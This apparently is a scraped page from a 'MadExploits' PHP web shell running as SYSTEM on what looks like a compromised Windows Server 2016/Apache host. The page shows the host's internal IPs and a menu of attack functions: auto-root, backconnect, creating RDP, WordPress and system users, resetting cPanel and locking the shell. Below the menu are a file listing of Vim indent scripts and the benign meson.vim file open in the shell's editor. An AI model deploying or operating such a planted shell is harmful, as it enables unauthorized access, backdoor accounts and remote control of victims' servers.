Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
laragon /
bin /
git /
usr /
share /
vim /
vim82 /
indent /
[ HOME SHELL ]
Name
Size
Permission
Action
README.txt
1.65
KB
-rw-rw-rw-
aap.vim
265
B
-rw-rw-rw-
ada.vim
11.06
KB
-rw-rw-rw-
ant.vim
290
B
-rw-rw-rw-
automake.vim
243
B
-rw-rw-rw-
awk.vim
7.68
KB
-rw-rw-rw-
bash.vim
350
B
-rw-rw-rw-
basic.vim
250
B
-rw-rw-rw-
bib.vim
346
B
-rw-rw-rw-
bst.vim
1.86
KB
-rw-rw-rw-
bzl.vim
2.86
KB
-rw-rw-rw-
c.vim
325
B
-rw-rw-rw-
cdl.vim
4.26
KB
-rw-rw-rw-
ch.vim
470
B
-rw-rw-rw-
chaiscript.vim
1.18
KB
-rw-rw-rw-
changelog.vim
264
B
-rw-rw-rw-
clojure.vim
11.29
KB
-rw-rw-rw-
cmake.vim
2.66
KB
-rw-rw-rw-
cobol.vim
8.63
KB
-rw-rw-rw-
config.vim
2.17
KB
-rw-rw-rw-
confini.vim
196
B
-rw-rw-rw-
context.vim
752
B
-rw-rw-rw-
cpp.vim
329
B
-rw-rw-rw-
cs.vim
1.88
KB
-rw-rw-rw-
css.vim
1.77
KB
-rw-rw-rw-
cucumber.vim
2.62
KB
-rw-rw-rw-
cuda.vim
305
B
-rw-rw-rw-
d.vim
605
B
-rw-rw-rw-
dictconf.vim
411
B
-rw-rw-rw-
dictdconf.vim
414
B
-rw-rw-rw-
docbk.vim
336
B
-rw-rw-rw-
dosbatch.vim
1.35
KB
-rw-rw-rw-
dtd.vim
11.79
KB
-rw-rw-rw-
dtrace.vim
451
B
-rw-rw-rw-
dune.vim
332
B
-rw-rw-rw-
dylan.vim
2.75
KB
-rw-rw-rw-
eiffel.vim
3.24
KB
-rw-rw-rw-
elm.vim
3.2
KB
-rw-rw-rw-
erlang.vim
48.89
KB
-rw-rw-rw-
eruby.vim
2.95
KB
-rw-rw-rw-
eterm.vim
743
B
-rw-rw-rw-
falcon.vim
13.84
KB
-rw-rw-rw-
fennel.vim
273
B
-rw-rw-rw-
fortran.vim
7.54
KB
-rw-rw-rw-
framescript.vim
891
B
-rw-rw-rw-
freebasic.vim
237
B
-rw-rw-rw-
gitconfig.vim
841
B
-rw-rw-rw-
gitolite.vim
1.29
KB
-rw-rw-rw-
go.vim
1.63
KB
-rw-rw-rw-
haml.vim
2.19
KB
-rw-rw-rw-
hamster.vim
1.65
KB
-rw-rw-rw-
hog.vim
1.85
KB
-rw-rw-rw-
html.vim
33.11
KB
-rw-rw-rw-
htmldjango.vim
273
B
-rw-rw-rw-
idlang.vim
1.68
KB
-rw-rw-rw-
ishd.vim
1.83
KB
-rw-rw-rw-
j.vim
1.77
KB
-rw-rw-rw-
java.vim
4.19
KB
-rw-rw-rw-
javascript.vim
15
KB
-rw-rw-rw-
javascriptreact.vim
109
B
-rw-rw-rw-
json.vim
4.42
KB
-rw-rw-rw-
jsonc.vim
4.62
KB
-rw-rw-rw-
jsp.vim
462
B
-rw-rw-rw-
julia.vim
15.2
KB
-rw-rw-rw-
krl.vim
4.26
KB
-rw-rw-rw-
ld.vim
1.82
KB
-rw-rw-rw-
less.vim
243
B
-rw-rw-rw-
lifelines.vim
638
B
-rw-rw-rw-
liquid.vim
2.03
KB
-rw-rw-rw-
lisp.vim
353
B
-rw-rw-rw-
logtalk.vim
1.82
KB
-rw-rw-rw-
lua.vim
1.88
KB
-rw-rw-rw-
mail.vim
355
B
-rw-rw-rw-
make.vim
3.48
KB
-rw-rw-rw-
matlab.vim
4.81
KB
-rw-rw-rw-
meson.vim
5.19
KB
-rw-rw-rw-
mf.vim
156
B
-rw-rw-rw-
mma.vim
2.31
KB
-rw-rw-rw-
mp.vim
11.06
KB
-rw-rw-rw-
nginx.vim
407
B
-rw-rw-rw-
nsis.vim
3.23
KB
-rw-rw-rw-
objc.vim
1.65
KB
-rw-rw-rw-
ocaml.vim
8.98
KB
-rw-rw-rw-
occam.vim
4.63
KB
-rw-rw-rw-
pascal.vim
5.66
KB
-rw-rw-rw-
perl.vim
5.85
KB
-rw-rw-rw-
php.vim
25.29
KB
-rw-rw-rw-
postscr.vim
1.64
KB
-rw-rw-rw-
pov.vim
2.71
KB
-rw-rw-rw-
prolog.vim
1.91
KB
-rw-rw-rw-
ps1.vim
410
B
-rw-rw-rw-
pyrex.vim
326
B
-rw-rw-rw-
python.vim
6.82
KB
-rw-rw-rw-
qb64.vim
232
B
-rw-rw-rw-
r.vim
13.71
KB
-rw-rw-rw-
raku.vim
3.34
KB
-rw-rw-rw-
raml.vim
285
B
-rw-rw-rw-
readline.vim
786
B
-rw-rw-rw-
rhelp.vim
2.77
KB
-rw-rw-rw-
rmd.vim
2.14
KB
-rw-rw-rw-
rnoweb.vim
1.06
KB
-rw-rw-rw-
rpl.vim
1.82
KB
-rw-rw-rw-
rrst.vim
1.17
KB
-rw-rw-rw-
rst.vim
1.78
KB
-rw-rw-rw-
ruby.vim
30.32
KB
-rw-rw-rw-
rust.vim
6.35
KB
-rw-rw-rw-
sas.vim
5.18
KB
-rw-rw-rw-
sass.vim
994
B
-rw-rw-rw-
scala.vim
19.2
KB
-rw-rw-rw-
scheme.vim
372
B
-rw-rw-rw-
scss.vim
191
B
-rw-rw-rw-
sdl.vim
2.76
KB
-rw-rw-rw-
sh.vim
9.04
KB
-rw-rw-rw-
sml.vim
6.42
KB
-rw-rw-rw-
sql.vim
1.18
KB
-rw-rw-rw-
sqlanywhere.vim
12.96
KB
-rw-rw-rw-
sshconfig.vim
796
B
-rw-rw-rw-
systemd.vim
205
B
-rw-rw-rw-
systemverilog.vim
8.51
KB
-rw-rw-rw-
tcl.vim
2.48
KB
-rw-rw-rw-
tcsh.vim
1.35
KB
-rw-rw-rw-
teraterm.vim
1.38
KB
-rw-rw-rw-
tex.vim
13.37
KB
-rw-rw-rw-
tf.vim
1.57
KB
-rw-rw-rw-
tilde.vim
1.11
KB
-rw-rw-rw-
treetop.vim
785
B
-rw-rw-rw-
typescript.vim
14.14
KB
-rw-rw-rw-
vb.vim
2.04
KB
-rw-rw-rw-
verilog.vim
7.98
KB
-rw-rw-rw-
vhdl.vim
14.32
KB
-rw-rw-rw-
vim.vim
5.91
KB
-rw-rw-rw-
vroom.vim
379
B
-rw-rw-rw-
wast.vim
458
B
-rw-rw-rw-
xf86conf.vim
786
B
-rw-rw-rw-
xhtml.vim
269
B
-rw-rw-rw-
xinetd.vim
1.28
KB
-rw-rw-rw-
xml.vim
7.6
KB
-rw-rw-rw-
xsd.vim
253
B
-rw-rw-rw-
xslt.vim
297
B
-rw-rw-rw-
yacc.vim
858
B
-rw-rw-rw-
yaml.vim
5.35
KB
-rw-rw-rw-
zimbu.vim
3.85
KB
-rw-rw-rw-
zsh.vim
411
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : meson.vim
" Vim indent file " Language: Meson " License: VIM License " Maintainer: Nirbheek Chauhan <nirbheek.chauhan@gmail.com> " Liam Beguin <liambeguin@gmail.com> " Original Authors: David Bustos <bustos@caltech.edu> " Bram Moolenaar <Bram@vim.org> " Last Change: 2019 Oct 18 " Only load this indent file when no other was loaded. if exists("b:did_indent") finish endif let b:did_indent = 1 " Some preliminary settings setlocal nolisp " Make sure lisp indenting doesn't supersede us setlocal autoindent " indentexpr isn't much help otherwise setlocal indentexpr=GetMesonIndent(v:lnum) setlocal indentkeys+==elif,=else,=endforeach,=endif,0) let b:undo_indent = "setl ai< inde< indk< lisp<" " Only define the function once. if exists("*GetMesonIndent") finish endif let s:keepcpo= &cpo set cpo&vim " Come here when loading the script the first time. let s:maxoff = 50 " maximum number of lines to look backwards for () function GetMesonIndent(lnum) echom getline(line(".")) " If this line is explicitly joined: If the previous line was also joined, " line it up with that one, otherwise add two 'shiftwidth' if getline(a:lnum - 1) =~ '\\$' if a:lnum > 1 && getline(a:lnum - 2) =~ '\\$' return indent(a:lnum - 1) endif return indent(a:lnum - 1) + (exists("g:mesonindent_continue") ? eval(g:mesonindent_continue) : (shiftwidth() * 2)) endif " If the start of the line is in a string don't change the indent. if has('syntax_items') \ && synIDattr(synID(a:lnum, 1, 1), "name") =~ "String$" return -1 endif " Search backwards for the previous non-empty line. let plnum = prevnonblank(v:lnum - 1) if plnum == 0 " This is the first non-empty line, use zero indent. return 0 endif " If the previous line is inside parenthesis, use the indent of the starting " line. " Trick: use the non-existing "dummy" variable to break out of the loop when " going too far back. call cursor(plnum, 1) let parlnum = searchpair('(\|{\|\[', '', ')\|}\|\]', 'nbW', \ "line('.') < " . (plnum - s:maxoff) . " ? dummy :" \ . " synIDattr(synID(line('.'), col('.'), 1), 'name')" \ . " =~ '\\(Comment\\|Todo\\|String\\)$'") if parlnum > 0 let plindent = indent(parlnum) let plnumstart = parlnum else let plindent = indent(plnum) let plnumstart = plnum endif " When inside parenthesis: If at the first line below the parenthesis add " a 'shiftwidth', otherwise same as previous line. " i = (a " + b " + c) call cursor(a:lnum, 1) let p = searchpair('(\|{\|\[', '', ')\|}\|\]', 'bW', \ "line('.') < " . (a:lnum - s:maxoff) . " ? dummy :" \ . " synIDattr(synID(line('.'), col('.'), 1), 'name')" \ . " =~ '\\(Comment\\|Todo\\|String\\)$'") if p > 0 if p == plnum " When the start is inside parenthesis, only indent one 'shiftwidth'. let pp = searchpair('(\|{\|\[', '', ')\|}\|\]', 'bW', \ "line('.') < " . (a:lnum - s:maxoff) . " ? dummy :" \ . " synIDattr(synID(line('.'), col('.'), 1), 'name')" \ . " =~ '\\(Comment\\|Todo\\|String\\)$'") if pp > 0 return indent(plnum) + (exists("g:pyindent_nested_paren") ? eval(g:pyindent_nested_paren) : shiftwidth()) endif return indent(plnum) + (exists("g:pyindent_open_paren") ? eval(g:pyindent_open_paren) : shiftwidth()) endif if plnumstart == p return indent(plnum) endif return plindent endif " Get the line and remove a trailing comment. " Use syntax highlighting attributes when possible. let pline = getline(plnum) let pline_len = strlen(pline) if has('syntax_items') " If the last character in the line is a comment, do a binary search for " the start of the comment. synID() is slow, a linear search would take " too long on a long line. if synIDattr(synID(plnum, pline_len, 1), "name") =~ "\\(Comment\\|Todo\\)$" let min = 1 let max = pline_len while min < max let col = (min + max) / 2 if synIDattr(synID(plnum, col, 1), "name") =~ "\\(Comment\\|Todo\\)$" let max = col else let min = col + 1 endif endwhile let pline = strpart(pline, 0, min - 1) endif else let col = 0 while col < pline_len if pline[col] == '#' let pline = strpart(pline, 0, col) break endif let col = col + 1 endwhile endif " If the previous line ended the conditional/loop if getline(plnum) =~ '^\s*\(endif\|endforeach\)\>\s*' " Maintain indent return -1 endif " If the previous line ended with a builtin, indent this line if pline =~ '^\s*\(foreach\|if\|else\|elif\)\>\s*' return plindent + shiftwidth() endif " If the current line begins with a header keyword, deindent if getline(a:lnum) =~ '^\s*\(else\|elif\|endif\|endforeach\)' " Unless the previous line was a one-liner if getline(plnumstart) =~ '^\s*\(foreach\|if\)\>\s*' return plindent endif " Or the user has already dedented if indent(a:lnum) <= plindent - shiftwidth() return -1 endif return plindent - shiftwidth() endif " When after a () construct we probably want to go back to the start line. " a = (b " + c) " here if parlnum > 0 return plindent endif return -1 endfunction let &cpo = s:keepcpo unlet s:keepcpo " vim:sw=2
Close